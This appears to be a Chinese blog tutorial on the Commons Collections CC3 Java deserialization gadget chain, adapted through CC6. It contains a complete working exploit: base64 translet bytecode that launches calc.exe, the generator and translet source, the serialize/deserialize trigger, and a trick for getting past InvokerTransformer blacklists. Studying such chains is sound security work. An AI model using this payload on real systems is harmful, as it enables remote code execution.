java反序列化–跌宕起伏的cc3

环境:jdk8u65;commons-collections3.2

影响版本:原本的cc3是通过cc1两条链也就是AnnotationInvocationHandler.readObject方法触发的,但jdk8u71修改了AnnotationInvocationHandler.readObject方法逻辑,导致cc1无法利用。可以使用cc6、cc5、cc7三条不会被jdk版本影响的链子,本文使用cc6去改造cc3,改造后的cc3就没有版本限制了。

说明:斜体字体都是P神写的《java安全漫谈》copy来的

payload

package commonscollections3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6plusCC3 {
   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
  }

   public static void main(String[] args) throws Exception {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
       TemplatesImpl obj = new TemplatesImpl();
       setFieldValue(obj, "_bytecodes", new byte[][]{code});
       setFieldValue(obj, "_name", "HelloTemplatesImpl");
       setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(TrAXFilter.class),
               new InstantiateTransformer(
                       new Class[] { Templates.class },
                       new Object[] { obj })
      };
       ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

       Map innerMap = new HashMap();
       Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

       TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

       Map expMap = new HashMap();
       expMap.put(tme, "valuevalue");

       outerMap.clear();
       setFieldValue(chainedTransformer, "iMethodName", "newTransformer");

       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
       out.writeObject(expMap);
       out.close();

       ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
       in.readObject();
       in.close();
  }
}

cc3和之前的链有所不同,之前的利用链最终都是利用恶意transformer来构造Runtime.getRuntime().exec()执行命令,cc3是利用TemplateImpl类中的内部类TransletClassLoader加载字节码

ClassLoader加载字节码这类知识本文就不仔细介绍了,在之后的fastjson也会利用到,感兴趣的师傅可以去看看P神的java安全漫谈。

字节码加载大概意思就是通过defineClass,将一段字节流转变成一个Java类并执行,那如何生成上述的字节码呢,其实就是读取.java文件编译后的.class文件内的字节内容。同时为了可以打印输出,进行base64编码。

以下是生成java字节码的代码,修改文件路径即可获取对应java文件的字节码。

package BytesCodeGenerator;

import javax.tools.JavaCompiler;
import javax.tools.ToolProvider;
import java.io.*;
import java.nio.file.Files;
import java.util.Base64;

public class Generator {
   public static String byteCodes(String javaFilePath) throws Exception {
       JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
       compiler.run(null, null, null, javaFilePath);

       String classFilePath = javaFilePath.replace(".java", ".class");
       byte[] classBytes = Files.readAllBytes(new File(classFilePath).toPath());

       return Base64.getEncoder().encodeToString(classBytes);
  }


   public static void main(String[] args) throws Exception {
       String codes = byteCodes(".\\src\\main\\java\\BytesCodeGenerator\\CalcTemplatesImpl.java");
       System.out.println(codes);
  }
}

另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。

所以,我们需要构造一个特殊的类:

package BytesCodeGenerator;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class CalcTemplatesImpl extends AbstractTranslet {
   public void transform(DOM document, SerializationHandler[] handlers)
           throws TransletException {}
   public void transform(DOM document, DTMAxisIterator iterator,
                         SerializationHandler handler) throws TransletException {}
   public CalcTemplatesImpl() throws IOException {
       super();
       java.lang.Runtime.getRuntime().exec("calc.exe");
  }
}

TransletClassLoader.defineClass()

TransletClassLoader是TemplatesImpl类的一个内部类,该类的defineClass方法调用了ClassLoader.defineClass方法。

defineClass这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。

static final class TransletClassLoader extends ClassLoader {
       private final Map<String,Class> _loadedExternalExtensionFunctions;

        TransletClassLoader(ClassLoader parent) {
            super(parent);
           _loadedExternalExtensionFunctions = null;
      }

       TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
           super(parent);
           _loadedExternalExtensionFunctions = mapEF;
      }

       public Class<?> loadClass(String name) throws ClassNotFoundException {
           Class<?> ret = null;
           if (_loadedExternalExtensionFunctions != null) {
               ret = _loadedExternalExtensionFunctions.get(name);
          }
           if (ret == null) {
               ret = super.loadClass(name);
          }
           return ret;
        }

       Class defineClass(final byte[] b) {
           return defineClass(null, b, 0, b.length);
      }
  }

TemplatesImpl.defineTransletClasses()

TemplatesImpl类中的defineTransletClasses()方法new了一个TransletClassLoader对象,并且调用了defineClass()方法,此处的_bytecodes是TemplatesImpl类中的一个字段值。注意这里需要初始化_bytecodes的值

TemplatesImpl.getTransletInstance()

该方法调用了defineTransletClasses()方法,注意这里的_name不能等于null

TemplatesImpl.newTransformer()

该方法调用了getTransletInstance()方法

必要的字段设置

到这里TemplatesImpl类的任务就完成了,payload中还有一些疑问,就是这些字段为什么需要赋值

setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  • 将我们的恶意字节码赋值给到_bytecodes,在TransletClassLoader.defineClass()方法中会调用
  • _name不为空即可,不然在TemplatesImpl.getTransletInstance()逻辑中会走到第一个if,不会调用defineTransletClasses()方法
  • _tfactory 需要是一个 TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错。

接下来就只需找到谁能够调用TemplatesImpl.newTransformer()方法了

TrAXFilter.TrAXFilter()

本文改造后的cc3不再使用cc1中的invokeTransformer.transform()方法去触发TemplatesImpl.newTransformer(),因为许多java反序列化过滤器黑名单中含有invokeTransformer。为了绕过,可以使用com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类。

可以看到该构造方法调用了newTransformer()方法

InstantiateTransformer.transform()

后续我们可以通过InstantiateTransformer.transform()方法反射调用TrAXFilter的构造方法

通过InstantiateTransformer()构造方法传入要调用的构造函数的参数类型和参数

接下来寻找谁能调用InstantiateTransformer.transform(),熟悉cc1的师傅应该能反应过来,直接使用ChainedTransformer类的transform方法就行。

ChainedTransformer.transform()

new transformers数组,包含ConstantTransformer和InstantiateTransformer两个对象。ConstantTransformer对象在cc1提到过,其transform方法只是返回构造函数传入的对象。InstantiateTransformer对象负责调用TrAXFilter的构造方法。

将transformers数组传入ChainedTransformer构造方法,for循环调用transform方法,这点也在cc1讲过了

Transformer[] transformers = new Transformer[]{
       new ConstantTransformer(TrAXFilter.class),
       new InstantiateTransformer(
       new Class[] { Templates.class },
       new Object[] { obj })
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

接下来就和cc6相同了,….TiedMapEntry.getValue()—LazyMap.get()—ChainedTransformer.transform()

gadget

HashMap.readObject()
   HashMap.hash()
        TiedMapEntry.hashCode()
           TiedMapEntry.getValue()
               LazyMap.get()
                ChainedTransformer.transform()
                InstantiateTransformer.transform()
                TrAXFilter.TrAXFilter()
                TemplatesImpl.newTransformer()
                TemplatesImpl.getTransletInstance()
                TemplatesImpl.defineTransletClasses()
                TransletClassLoader.defineClass()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇